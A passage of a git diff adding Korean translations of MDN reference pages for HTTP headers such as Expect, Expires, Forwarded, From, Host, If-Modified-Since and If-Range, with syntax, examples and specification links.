+<p>일반적인 브라우저는 <code>Expect</code> 헤더를 전송하지 않지만, cURL과 같은 몇가지 클라이언트들은 전송하는 것이 기본값입니다.</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Header type</th> + <td>{{Glossary("Request header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>no</td> + </tr> + </tbody> +</table> + +<h2 id="Syntax">Syntax</h2> + +<p>현재는 "100-continue" 를 제외하고 어떤 기대값도 정의되어있지 않습니다.</p> + +<pre class="syntaxbox">Expect: 100-continue +</pre> + +<h2 id="Directives">Directives</h2> + +<dl> + <dt>100-continue</dt> + <dd>Informs recipients that the client is about to send a (presumably large) message body in this request and wishes to receive a {{HTTPStatus("100")}} (Continue) interim response.</dd> +</dl> + +<h2 id="Examples">Examples</h2> + +<h3 id="Large_message_body">Large message body</h3> + +<p>클라이언트는 <code>Expect</code> 헤더가 포함된 요청을 전송하고 메시지 바디를 전송하기 이전에 서버의 응답을 기다립니다.</p> + +<pre>PUT /somewhere/fun HTTP/1.1 +Host: origin.example.com +Content-Type: video/h264 +Content-Length: 1234567890987 +Expect: 100-continue</pre> + +<p>이제 서버는 요청 헤더를 확인하고 {HTTPStatus("100")}} (Continue) 상태를 응답하여 클라이언트가 계속해서 메시지 바디를 전송하도록 안내하거나, {{HTTPStatus("417")}} (Expectation Failed) 상태를 응답하여 어떠한 기대값도 충족되지 않도록 합니다.</p> + +<h2 id="Specifications">Specifications</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Title</th> + </tr> + <tr> + <td>{{RFC("7231", "Expect", "5.1.1")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility">Browser compatibility</h2> + +<p>No common browsers are known to send this header.</p> + +<h2 id="See_also">See also</h2> + +<ul> + <li>{{HTTPStatus("417")}}<code> Expectation Failed</code></li> + <li>{{HTTPStatus("100")}}<code> Continue</code></li> +</ul> diff --git a/files/ko/web/http/headers/expires/index.html b/files/ko/web/http/headers/expires/index.html new file mode 100644 index 0000000000..35042ff710 --- /dev/null +++ b/files/ko/web/http/headers/expires/index.html @@ -0,0 +1,75 @@ +--- +title: Expires +slug: Web/HTTP/Headers/Expires +translation_of: Web/HTTP/Headers/Expires +--- +<div>{{HTTPSidebar}}</div> + +<p><code><strong>Expires</strong></code> 헤더는 응답이 더 이상 신선하지 않다고 판단할 날짜/시간을 포함합니다.</p> + +<p>0과 같은, 유효하지 않은 날짜는 과거의 시간을 나타내어 리소스가 이미 만료되었음을 의미합니다.</p> + +<p>응답 내에 "max-age" 혹은 "s-max-age" 디렉티브를 지닌 {{HTTPHeader("Cache-Control")}} 헤더가 존재할 경우, <code>Expires</code> 헤더는 무시됩니다.</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Header type</th> + <td>{{Glossary("Response header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>no</td> + </tr> + <tr> + <th scope="row">{{Glossary("Simple response header", "CORS-safelisted response-header")}}</th> + <td>yes</td> + </tr> + </tbody> +</table> + +<h2 id="문법">문법</h2> + +<pre class="syntaxbox">Expires: <http-date> +</pre> + +<h2 id="디렉티브">디렉티브</h2> + +<dl> + <dt><http-date></dt> + <dd> + <p>HTTP-date timestamp.</p> + </dd> +</dl> + +<h2 id="예제">예제</h2> + +<pre>Expires: Wed, 21 Oct 2015 07:28:00 GMT</pre> + +<h2 id="명세서">명세서</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">명세</th> + <th scope="col">제목</th> + </tr> + <tr> + <td>{{RFC("7234", "Expires", "5.3")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Caching</td> + </tr> + </tbody> +</table> + +<h2 id="브라우저_호환성">브라우저 호환성</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat}}</p> + +<h2 id="함께_참고할_내용">함께 참고할 내용</h2> + +<ul> + <li>{{HTTPHeader("Cache-Control")}}</li> + <li>{{HTTPHeader("Age")}}</li> +</ul> diff --git a/files/ko/web/http/headers/forwarded/index.html b/files/ko/web/http/headers/forwarded/index.html new file mode 100644 index 0000000000..5355bf1c0e --- /dev/null +++ b/files/ko/web/http/headers/forwarded/index.html @@ -0,0 +1,110 @@ +--- +title: Forwarded +slug: Web/HTTP/Headers/Forwarded +tags: + - HTTP + - HTTP 헤더 + - 요청 헤더 + - 참고자료 + - 헤더 +translation_of: Web/HTTP/Headers/Forwarded +--- +<div>{{HTTPSidebar}}</div> + +<p><code><strong>Forwarded</strong></code> 헤더는 클라이언트에서 접하고 있는 프록시 서버들이 요청에 대한 연결에 연관되어 있는 상황에서 해당 연결이 변경되거나 잃어버리게 되었을 때, 해당되는 정보를 가지고 있습니다.</p> + +<p>이 헤더를 대체하는 실질적인 표준 버전은 {{HTTPHeader("X-Forwarded-For")}}, {{HTTPHeader("X-Forwarded-Host")}}, 그리고 {{HTTPHeader("X-Forwarded-Proto")}} 입니다.</p> + +<p>이 헤더는 디버깅, 통계, 그리고 위치 기반 컨텐츠에서 사용되며 클라이언트의 IP 주소와 같은 민감한 개인 정보를 노출하도록 디자인 되었습니다. 따라서 이 헤더를 사용할 경우에는 사용자의 정보를 노출시키지 않도록 반드시 주의해야합니다.</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">헤더 타입</th> + <td>{{Glossary("Request header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>아니오</td> + </tr> + </tbody> +</table> + +<h2 id="문법">문법</h2> + +<pre class="syntaxbox">Forwarded: by=<identifier>; for=<identifier>; host=<host>; proto=<http|https> +</pre> + +<h2 id="지시자">지시자</h2> + +<dl> + <dt><identifier></dt> + <dd>식별자는 프록시를 사용할 때, 대체되거나 잃어버린 정보를 밝힙니다. 이것은 다음과 같을 수 있습니다: + <ul> + <li>IP 주소(v4 또는 v6, 추가로 포트, 그리고 IPv6는 따옴표와 대괄호로 쌓여있습니다),</li> + <li>애매한 식별자(예를 들면, "_hidden" 또는 "_secret"),</li> + <li>또는 알 수 없는 개체를 진행하고자 했을 때 (그리고 당신이 계속 만들어진 요청이 전달되기를 원한다고 알려줄 때) "unknown" or "unknown".</li> + </ul> + </dd> + <dt>by=<identifier></dt> + <dd>요청이 프록시 서버에 들어왔을 때의 인터페이스.</dd> + <dt>for=<identifier></dt> + <dd>요청을 시작한 클라이언트와 프록시 체인에서 뒤이은 프록시.</dd> + <dt>host=<host></dt> + <dd>{{HTTPHeader("Host")}} 요청 헤더 영역은 프록시에게서 받는다.</dd> + <dt>proto=<http|https></dt> + <dd> + <p>요청을 만들기 위해서 어떠한 프로토콜(보통 "http" 또는 "https")이 사용되었는지 알려준다.</p> + </dd> +</dl> + +<h2 id="예제">예제</h2> + +<h3 id="Forwarded_헤더_사용"><code>Forwarded</code> 헤더 사용</h3> + +<pre>Forwarded: for="_mdn" + +# case insensitive +Forwarded: For="[2001:db8:cafe::17]:4711" + +# separated by semicolon +Forwarded: for=192.0.2.60; proto=http; by=203.0.113.43 + +# multiple values can be appended using a comma +Forwarded: for=192.0.2.43, for=198.51.100.17 +</pre> + +<h3 id="X-Forwarded-For_에서_Forwarded_로의_전환"><code>X-Forwarded-For</code> 에서 <code>Forwarded</code> 로의 전환</h3> + +<p>만약 어플리케이션(서버 또는 프록시)이 표준화된 <code>Forwared</code> 헤더를 지원한다면, {{HTTPHeader("X-Forwarded-For")}} 헤더는 대체될 수 있습니다. IPv6 주소는 <code>Forwarded</code>에서 따옴표와 대괄호로 감싸질 수 있다는 것을 알아두세요.</p> + +<pre>X-Forwarded-For: 123.34.567.89 +Forwarded: for=123.34.567.89 + +X-Forwarded-For: 192.0.2.43, 2001:db8:cafe::17 +Forwarded: for=192.0.2.43, for="[2001:db8:cafe::17]" +</pre> + +<h2 id="기술_사양">기술 사양</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">기술 사양</th> + <th scope="col">제목</th> + </tr> + <tr> + <td>{{RFC("7239", "Forwarded", "4")}}</td> + <td>Forwarded HTTP Extension</td> + </tr> + </tbody> +</table> + +<h2 id="함께_참고할_내용">함께 참고할 내용</h2> + +<ul> + <li>{{HTTPHeader("X-Forwarded-For")}}</li> + <li>{{HTTPHeader("X-Forwarded-Host")}}</li> + <li>{{HTTPHeader("X-Forwarded-Proto")}}</li> + <li>{{HTTPHeader("Via")}} – provides information about the proxy itself, not about the client connecting to it.</li> +</ul> diff --git a/files/ko/web/http/headers/from/index.html b/files/ko/web/http/headers/from/index.html new file mode 100644 index 0000000000..cdf796ed4b --- /dev/null +++ b/files/ko/web/http/headers/from/index.html @@ -0,0 +1,70 @@ +--- +title: From +slug: Web/HTTP/Headers/From +translation_of: Web/HTTP/Headers/From +--- +<div>{{HTTPSidebar}}</div> + +<p><code><strong>From</strong></code> 요청 헤더는 요청한 사용자 에이전트를 제어하는 인간 사용자의 인터넷 이메일을 포함합니다.</p> + +<p>만약 당신이 (예를 들어 크롤러와 같은) 로보틱 사용자 에이전트를 실행하고 있다면, <code>From</code> 헤더를 반드시 전송해야 하며, 로봇이 한도를 초과하거나 원하지 않으며, 유효하지 않은 요청을 전송하고 있는 경우처럼 서버 상에 문제를 일으키고 있다면 당신에게 해당 이메일로 연락이 가능해야 합니다.</p> + +<div class="warning"> +<p>접근 제어 혹은 인증을 위해 <code>From</code> 헤더를 사용해서는 안됩니다.</p> +</div> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Header type</th> + <td>{{Glossary("Request header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>no</td> + </tr> + </tbody> +</table> + +<h2 id="문법">문법</h2> + +<pre class="syntaxbox">From: <email> +</pre> + +<h2 id="디렉티브">디렉티브</h2> + +<dl> + <dt><email></dt> + <dd>기계가 사용 가능한 이메일 주소.</dd> +</dl> + +<h2 id="예제">예제</h2> + +<pre>From: webmaster@example.org</pre> + +<h2 id="명세서">명세서</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">명세</th> + <th scope="col">제목</th> + </tr> + <tr> + <td>{{RFC("7231", "From", "5.5.1")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> + </tr> + </tbody> +</table> + +<h2 id="브라우저_호환성">브라우저 호환성</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat}}</p> + +<h2 id="함께_참고할_내용">함께 참고할 내용</h2> + +<ul> + <li>{{HTTPHeader("Host")}}</li> +</ul> diff --git a/files/ko/web/http/headers/host/index.html b/files/ko/web/http/headers/host/index.html new file mode 100644 index 0000000000..321ec35f49 --- /dev/null +++ b/files/ko/web/http/headers/host/index.html @@ -0,0 +1,70 @@ +--- +title: Host +slug: Web/HTTP/Headers/Host +translation_of: Web/HTTP/Headers/Host +--- +<div>{{HTTPSidebar}}</div> + +<p><code><strong>Host</strong></code> 요청 헤더는 (가상 호스팅을 위해) 서버의 도메인명과 서버가 리스닝하는 (부가적인) TCP 포트를 특정합니다.</p> + +<p>포트가 주어지지 않으면, 요청된 서버의 기본 포트(예를 들어, HTTP URL은 "80")를 의미합니다.</p> + +<p><code>Host</code> 헤더의 필드는 모든 HTTP/1.1 요청 메시지 내에 포함되어 전송되어야 합니다. <code>Host</code> 헤더 필드가 없거나 한 개 이상의 필드를 포함하는 HTTP/1.1 요청 메시지에 대해서는 {{HTTPStatus("400")}} (Bad Request) 상태 코드가 전송될 것입니다.</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Header type</th> + <td>{{Glossary("Request header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>yes</td> + </tr> + </tbody> +</table> + +<h2 id="문법">문법</h2> + +<pre class="syntaxbox">Host: <host>:<port> +</pre> + +<h2 id="디렉티브">디렉티브</h2> + +<dl> + <dt><host></dt> + <dd>(가상 호스팅에 대한) 서버의 도메인 이름.</dd> + <dt><port> {{optional_inline}}</dt> + <dd>서버가 리스닝하는 TCP 포트 번호.</dd> +</dl> + +<h2 id="예제">예제</h2> + +<pre>Host: developer.cdn.mozilla.net</pre> + +<h2 id="명세">명세</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">명세</th> + <th scope="col">제목</th> + </tr> + <tr> + <td>{{RFC("7230", "Host", "5.4")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Message Syntax and Routing</td> + </tr> + </tbody> +</table> + +<h2 id="브라우저_호환성">브라우저 호환성</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat}}</p> + +<h2 id="함께_참고할_내용">함께 참고할 내용</h2> + +<ul> + <li>{{HTTPStatus("400")}}</li> +</ul> diff --git a/files/ko/web/http/headers/if-modified-since/index.html b/files/ko/web/http/headers/if-modified-since/index.html new file mode 100644 index 0000000000..59f68cd2e8 --- /dev/null +++ b/files/ko/web/http/headers/if-modified-since/index.html @@ -0,0 +1,91 @@ +--- +title: If-Modified-Since +slug: Web/HTTP/Headers/If-Modified-Since +translation_of: Web/HTTP/Headers/If-Modified-Since +--- +<div>{{HTTPSidebar}}</div> + +<p><strong><code>If-Modified-Since</code></strong> HTTP 요청 헤더는 조건부 요청으로 서버는 <span class="tlid-translation translation" lang="ko"><span title="">지정된 날짜 이후 수정 된 경우에 </span></span>{{HTTPStatus("200")}} 과 함께 요청된 리소스를 돌려 줍니다. 만약 수정되지 않는 리소스에 대한 요청시, 리소스 없이 {{HTTPStatus("304")}} 응답을 하게 됩니다.<span class="tlid-translation translation" lang="ko"><span title=""> 이전 요청의 {{HTTPHeader ( "Last-Modified")}} 응답 헤더는 마지막으로 수정 한 날짜를 포함합니다.</span></span><code>If-Modified-Since</code><span class="tlid-translation translation" lang="ko"><span title="">는 </span></span>{{HTTPHeader("If-Unmodified-Since")}} 와는 다르게 {{HTTPMethod("GET")}} 또는 {{HTTPMethod("HEAD")}} 에서만 쓸수 있습니다.</p> + +<p><span class="tlid-translation translation" lang="ko"><span title="">서버가 </span></span><code>If-None-Match</code><span class="tlid-translation translation" lang="ko"><span title="">를 지원하지 않는 한</span></span> {{HTTPHeader("If-None-Match")}} 를 함께 사용시 무시 됩니다.</p> + +<p>가장 일반적인 사용예로, {{HTTPHeader("ETag")}} 가 없는 캐시된 엔티티로 업데이트 합니다.</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Header type</th> + <td>{{Glossary("Request header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>no</td> + </tr> + </tbody> +</table> + +<h2 id="문법">문법</h2> + +<pre class="syntaxbox">If-Modified-Since: <day-name>, <day> <month> <year> <hour>:<minute>:<second> GMT +</pre> + +<h2 id="지시자">지시자</h2> + +<dl> + <dt><day-name></dt> + <dd>"Mon", "Tue", "Wed", "Thu", "Fri", "Sat", 또는 "Sun" 중 하나(대소문자 구분).</dd> + <dt><day></dt> + <dd>2 숫자의 날짜, 예: "04" 또는 "23".</dd> + <dt><month></dt> + <dd>"Jan", "Feb", "Mar", "Apr", "May", "Jun", "Jul", "Aug", "Sep", "Oct", "Nov", "Dec" 중 하나(대소문자 구분).</dd> + <dt><year></dt> + <dd>4 숫자의 연도, 예: "1990" 또는 "2016".</dd> + <dt><hour></dt> + <dd>2 숫자의 분, 예: "04" 또는 "59.</dd> + <dt><minute></dt> + <dd>2 숫자의 초, 예: "04" 또는 "59".</dd> + <dt><second></dt> + <dd>2 digit second number, e.g. "04" or "59".</dd> + <dt><code>GMT</code></dt> + <dd> + <p>그리니치 표준시. HTTP 날짜는 현지 시각이 아닌, 언제나 GMT로 표현합니다.</p> + </dd> +</dl> + +<h2 id="예제">예제</h2> + +<pre>If-Modified-Since: Wed, 21 Oct 2015 07:28:00 GMT +</pre> + +<h2 id="기술_사양">기술 사양</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">기술 사양</th> + <th scope="col">제목</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{RFC("7232", "If-Modified-Since", "3.3")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Conditional Requests</td> + </tr> + </tbody> +</table> + +<h2 id="브라우저_호환성">브라우저 호환성</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.headers.If-Modified-Since")}}</p> + +<h2 id="함께_참고할_내용">함께 참고할 내용</h2> + +<ul> + <li>{{HTTPHeader("ETag")}}</li> + <li>{{HTTPHeader("If-Unmodified-since")}}</li> + <li>{{HTTPHeader("If-Match")}}</li> + <li>{{HTTPHeader("If-None-Match")}}</li> + <li>{{HTTPStatus("304")}}<code> Not Modified</code></li> +</ul> diff --git a/files/ko/web/http/headers/if-range/index.html b/files/ko/web/http/headers/if-range/index.html new file mode 100644 index 0000000000..12410e90bd --- /dev/null +++ b/files/ko/web/http/headers/if-range/index.html @@ -0,0 +1,104 @@ +--- +title: If-Range +slug: Web/HTTP/Headers/If-Range +tags: + - HTTP + - HTTP 헤더 + - 범위 요청 + - 요청 헤더 + - 조건 요청 + - 참고자료 +translation_of: Web/HTTP/Headers/If-Range +--- +<div>{{HTTPSidebar}}</div> + +<p><strong><code>If-Range</code></strong> HTTP 요청 헤더는 범위 요청을 조건적으로 만듭니다: 만약 조건이 만족된다면, 범위 요청은 처리되어 서버에서 {{HTTPStatus("206")}} <code>Partial Content</code> 응답을 적절한 바디를 포함하여 보낼 것입니다. 만약 조건을 만족하지 못한다면, {{HTTPStatus("200")}} <code>OK</code> 상태 코드가 전체 리소스와 함께 돌아올 것입니다.</p> + +<p>이 헤더는 {{HTTPHeader("Last-Modified")}} 유효 검사자, 또는 {{HTTPHeader("ETag")}}와도 함께 사용될 수 있지만, 동시에는 사용할 수 없습니다.</p> + +<p>가장 많은 사용 예로 다운로드를 재개할 때, 저장된 리소스가 마지막 조각을 다운받은 후 수정되었는지 확인하기 위하여 사용합니다.</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">헤더 타입</th> + <td>{{Glossary("Request header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>아니오</td> + </tr> + </tbody> +</table> + +<h2 id="문법">문법</h2> + +<pre class="syntaxbox">If-Range: <day-name>, <day> <month> <year> <hour>:<minute>:<second> GMT +If-Range: <etag></pre> + +<h2 id="지시자">지시자</h2> + +<dl> + <dt><etag></dt> + <dd>개체 태그는 요청한 리소스가 유일한 것을 표현합니다. 이는 ASCII 문자열로 쌍따옴표(<code>"675af34563dc-tr34"</code>처럼)로 묶여있으며, 접두사로 <code>W/</code>가 있어 약한 비교 알고리즘을 사용되어야 하는 것을 알려줄 수 있습니다.</dd> +</dl> + +<dl> + <dt><day-name></dt> + <dd>"Mon", "Tue", "Wed", "Thu", "Fri", "Sat", 또는 "Sun" 중에 하나(대소문자 구별) .</dd> + <dt><day></dt> + <dd>2 숫자의 날짜, 예: "04" 또는 "23".</dd> + <dt><month></dt> + <dd>"Jan", "Feb", "Mar", "Apr", "May", "Jun", "Jul", "Aug", "Sep", "Oct", "Nov", "Dec" 중 하나(대소문자 구별).</dd> + <dt><year></dt> + <dd>4 숫자의 연도, 예: "1990" 또는 "2016".</dd> + <dt><hour></dt> + <dd>2 숫자의 시간, 예: "09" 또는 "23".</dd> + <dt><minute></dt> + <dd>2 숫자의 분, 예: "04" 또는 "59".</dd> + <dt><second></dt> + <dd>2 숫자의 초, 예: "04" 또는 "59.</dd> + <dt><code>GMT</code></dt> + <dd> + <p>그리니치 표준시. HTTP 날짜는 지역 시각이 아닌, 언제나 GMT로 표현합니다.</p> + </dd> +</dl> + +<h2 id="예제">예제</h2> + +<pre>If-Range: Wed, 21 Oct 2015 07:28:00 GMT +</pre> + +<h2 id="기술_사양">기술 사양</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">기술 사양</th> + <th scope="col">제목</th> + </tr> + <tr> + <td>{{RFC("7233", "If-Range", "3.2")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Range Requests</td> + </tr> + </tbody> +</table> + +<h2 id="브라우저_호환성">브라우저 호환성</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.headers.If-Range")}}</p> + +<h2 id="함께_참고할_내용">함께 참고할 내용</h2> + +<ul> + <li>{{HTTPHeader("ETag")}}</li> + <li>{{HTTPHeader("Last-Modified")}}</li> + <li>{{HTTPHeader("If-Modified-Since")}}</li> + <li>{{HTTPHeader("If-Unmodified-Since")}}</li> + <li>{{HTTPHeader("If-Match")}}</li> + <li>{{HTTPHeader("If-None-Match")}}</li> + <li>{{HTTPStatus("206")}}<code> Partial Content</code></li> + <li><a href="/en-US/docs/Web/HTTP/Conditional_requests">HTTP Conditional Requests</a></li> +</ul> diff --git a/files/ko/web/http/headers/index.html b/files/ko/web/http/headers/index.html new file mode 100644 index 0000000000..56460bc685 --- /dev/null +++ b/files/ko/web/http/headers/index.html @@ -0,0 +1,444 @@ +--- +title: HTTP 헤더 +slug: Web/HTTP/Headers +tags: + - HTTP + - HTTP 헤더 + - 개요 + - 네트워킹 + - 레퍼런스 +translation_of: Web/HTTP/Headers +--- +<div>{{HTTPSidebar}}</div> + +<p>HTTP 헤더는 클라이언트와 서버가 요청 또는 응답으로 부가적인 정보를 전송할 수 있도록 해줍니다. HTTP 헤더는 대소문자를 구분하지 않는 이름과 콜론 '<code>:</code>' 다음에 오는 값(줄 바꿈 없이)으로 이루어져있습니다. 값 앞에 붙은 빈 문자열은 무시됩니다.</p> + +<p>커스텀 등록 헤더는 'X-'를 앞에 붙여 추가될 수 있지만, 이 관례는 <a href="https://tools.ietf.org/html/rfc6648">RFC 6648</a>에서 비표준 필드가 표준이 되었을때 불편함을 유발하는 이유로 2012년 6월에 폐기되었습니다. 다른것들은 <a class="external" href="http://www.iana.org/assignments/message-headers/perm-headers.html">IANA 레지스트리</a>에 나열되어 있으며, 원본 컨텐츠는 <a class="external" href="http://tools.ietf.org/html/rfc4229">RFC 4229</a>에서 정의되었습니다. IANA는 또한 <a class="external" href="http://www.iana.org/assignments/message-headers/prov-headers.html">제안된 새로운 메시지 헤더의 레지스트리</a>도 관리합니다.</p> + +<p>헤더는 컨텍스트에 따라 그룹핑될 수 있습니다:</p> + +<ul> + <li>{{Glossary("General header")}}: 요청과 응답 모두에 적용되지만 바디에서 최종적으로 전송되는 데이터와는 관련이 없는 헤더.</li> + <li>{{Glossary("Request header")}}: 페치될 리소스나 클라이언트 자체에 대한 자세한 정보를 포함하는 헤더.</li> + <li>{{Glossary("Response header")}}: 위치 또는 서버 자체에 대한 정보(이름, 버전 등)와 같이 응답에 대한 부가적인 정보를 갖는 헤더.</li> + <li>{{Glossary("Entity header")}}: 컨텐츠 길이나 MIME 타입과 같이 엔티티 바디에 대한 자세한 정보를 포함하는 헤더.</li> +</ul> + +<p>헤더는 또한 프록시의 처리 방법에 따라 그룹핑할 수도 있습니다:</p> + +<dl> + <dt><a id="e2e" name="e2e"></a>종단간 헤더</dt> + <dd>이러한 헤더는 반드시 메시지의 최종 수신자에게 전송되어야 합니다. 즉, 요청에 대해서는 서버, 응답에 대해서는 클라이언트입니다. 중간 프록시는 반드시 종단 간 헤더를 수정되지 않은 상태로 재전송해야하며 캐시는 이를 반드시 저장해야합니다.</dd> + <dt><a id="hbh" name="hbh"></a>홉간 헤더</dt> + <dd>이러한 헤더는 단일 전송-레벨 연결에서만 의미가 있으며 프록시에의해 재전송되거나 캐시되어선 안됩니다. 이러한 헤더들은 다음과 같습니다: {{ httpheader("Connection") }}, {{ httpheader("Keep-Alive") }}, {{ httpheader("Proxy-Authenticate") }}, {{ httpheader("Proxy-Authorization") }}, {{ httpheader("TE") }}, {{ httpheader("Trailer") }}, {{ httpheader("Transfer-Encoding") }}, {{ httpheader("Upgrade") }}. 홉간 헤더는 {{ httpheader("Connection") }} 일반 헤더를 사용해 설정될 수도 있음을 유의하세요.</dd> +</dl> + +<p>다음은 사용 카테고리에 따라 HTTP 헤더를 요약한 리스트입니다. 알파벳순의 리스트는 왼쪽의 네비게이션을 보세요.</p> + +<h2 id="인증">인증</h2> + +<dl> + <dt>{{HTTPHeader("WWW-Authenticate")}}</dt> + <dd>리소스에 대한 접근을 하는데 사용되어야하는 인증 메소드를 정의합니다.</dd> + <dt>{{HTTPHeader("Authorization")}}</dt> + <dd>서버와함께 유저 에이전트를 인증하기 위한 자격 증명을 포함합니다.</dd> + <dt>{{HTTPHeader("Proxy-Authenticate")}}</dt> + <dd>프록시 서버 뒤에 있는 리소스에 접근하는데 사용되어야하는 인증 메소드를 정의합니다.</dd> + <dt>{{HTTPHeader("Proxy-Authorization")}}</dt> + <dd>프록시 서버와 함께 유저 에이전트를 인증하기 위한 자격 증명을 포함합니다.</dd> +</dl> + +<h2 id="캐싱">캐싱</h2> + +<dl> + <dt>{{HTTPHeader("Age")}}</dt> + <dd>객체가 프록시 캐시에 있었던 초 단위의 시간.</dd> + <dt>{{HTTPHeader("Cache-Control")}}</dt> + <dd>요청과 응답 모두에서의 캐싱 메커니즘을 명시하는 지시문.</dd> + <dt>{{HTTPHeader("Clear-Site-Data")}}</dt> + <dd>요청하는 웹사이트에 관련된 탐색 데이터(예, 쿠키, 저장소, 캐시)를 제거합니다.</dd> + <dt>{{HTTPHeader("Expires")}}</dt> + <dd>응답이 만료되었다고 고려되는 날짜/시간.</dd> + <dt>{{HTTPHeader("Pragma")}}</dt> + <dd>요청-응답 체인을 따라 어디든 다양한 영향을 줄 수 있는 구현-관련 헤더. <code>Cache-Control</code> 헤더가 존재하지 않는 HTTP/1.0 캐시와의 하위 호환성을 위해 사용됨.</dd> + <dt>{{HTTPHeader("Warning")}}</dt> + <dd>가능한 문제들에 대한 정보를 포함하는 일반 경고 필드.</dd> +</dl> + +<h2 id="클라이언트_힌트">클라이언트 힌트</h2> + +<p>HTTP 클라이언트 힌트는 작업중에 있습니다. 실제 문서는 <a href="https://httpwg.org/http-extensions/client-hints.html">HTTP 작업 그룹의 웹사이트</a>에서 확인하실 수 있습니다.</p> + +<dl> + <dt>{{HTTPHeader("Accept-CH")}} {{experimental_inline}}</dt> + <dd>서버는 Accept-CH 헤더 필드나 http-equiv 어트리뷰트(<a href="https://httpwg.org/http-extensions/client-hints.html#HTML5"><cite>[HTML5]</cite></a>)를 갖는 동등한 HTML meta 엘리먼트를 사용해 클라이언트 힌트에 대한 지원을 알릴 수 있습니다.</dd> +</dl> + +<dl> + <dt>{{HTTPHeader("Accept-CH-Lifetime")}} {{experimental_inline}}</dt> + <dd>서버는 명시된 시간동안 서버가 지원하는 클라이언트 힌트의 집합을 클라이언트가 기억하도록 요청하여 서버의 오리진으로의 후속 요청에 대한 클라이언트 힌트를 전송할 수 있습니다(<a href="https://httpwg.org/http-extensions/client-hints.html#RFC6454"><cite>[RFC6454]</cite></a>).</dd> + <dt>{{HTTPHeader("Early-Data")}} {{experimental_inline}}</dt> + <dd>요청이 초기 데이터로 전달되었음을 나타냅니다.</dd> +</dl> + +<dl> + <dt>{{HTTPHeader("Content-DPR")}} {{experimental_inline}}</dt> + <dd><code>Content-DPR</code> 응답 헤더 필드는 선택한 이미지 응답의 CSS px를 통한 물리적 픽셀간의 비율을 나타내는 숫자입니다.</dd> + <dt>{{HTTPHeader("DPR")}} {{experimental_inline}}</dt> + <dd><code>DPR</code> 요청 헤더 필드는 레이아웃 뷰포트(Section 9.1.1 of <a href="https://httpwg.org/http-extensions/client-hints.html#CSS2"><cite>[CSS2]</cite></a>)의 CSS px(Section 5.2 of <a href="https://httpwg.org/http-extensions/client-hints.html#CSSVAL"><cite>[CSSVAL]</cite></a>)를 통한 물리적 픽셀 비율인 클라이언트의 현재 기기 픽셀 비율(DPR)을 나타내는 숫자입니다.</dd> + <dt>{{HTTPHeader("Save-Data")}} {{experimental_inline}}</dt> + <dd><a class="internalDFN" href="https://wicg.github.io/netinfo/#dom-networkinformation-savedata"><code>SaveData</code></a> [<cite><a class="bibref" href="https://wicg.github.io/netinfo/#bib-client-hints">CLIENT-HINTS</a></cite>] 요청 헤더 필드는 절약한 데이터 사용에 대한 유저 에이전트의 설정을 나타내는 하나 이상의 토큰으로 이루어져있습니다.</dd> + <dt>{{HTTPHeader("Viewport-Width")}} {{experimental_inline}}</dt> + <dd> + <div id="rfc.section.3.3.p.1"> + <p><code>Viewport-Width</code> 요청 헤더 필드는 CSS px 단위의 레이아웃 뷰포트 width를 나타내는 숫자입니다. 제공된 CSS px값은 정수로 반올림된 숫자입니다(예, 올림 값).</p> + </div> + + <div id="rfc.section.3.3.p.2"> + <p>하나 이상의 메시지에서 <code>Viewport-Width</code>가 나타난다면, 마지막 값이 모든 이전의 값을 덮어씁니다.</p> + </div> + </dd> + <dt>{{HTTPHeader("Width")}} {{experimental_inline}}</dt> + <dd> + <div id="rfc.section.3.2.p.1"> + <p><code>Width</code> 요청 헤더 필드는 물리적 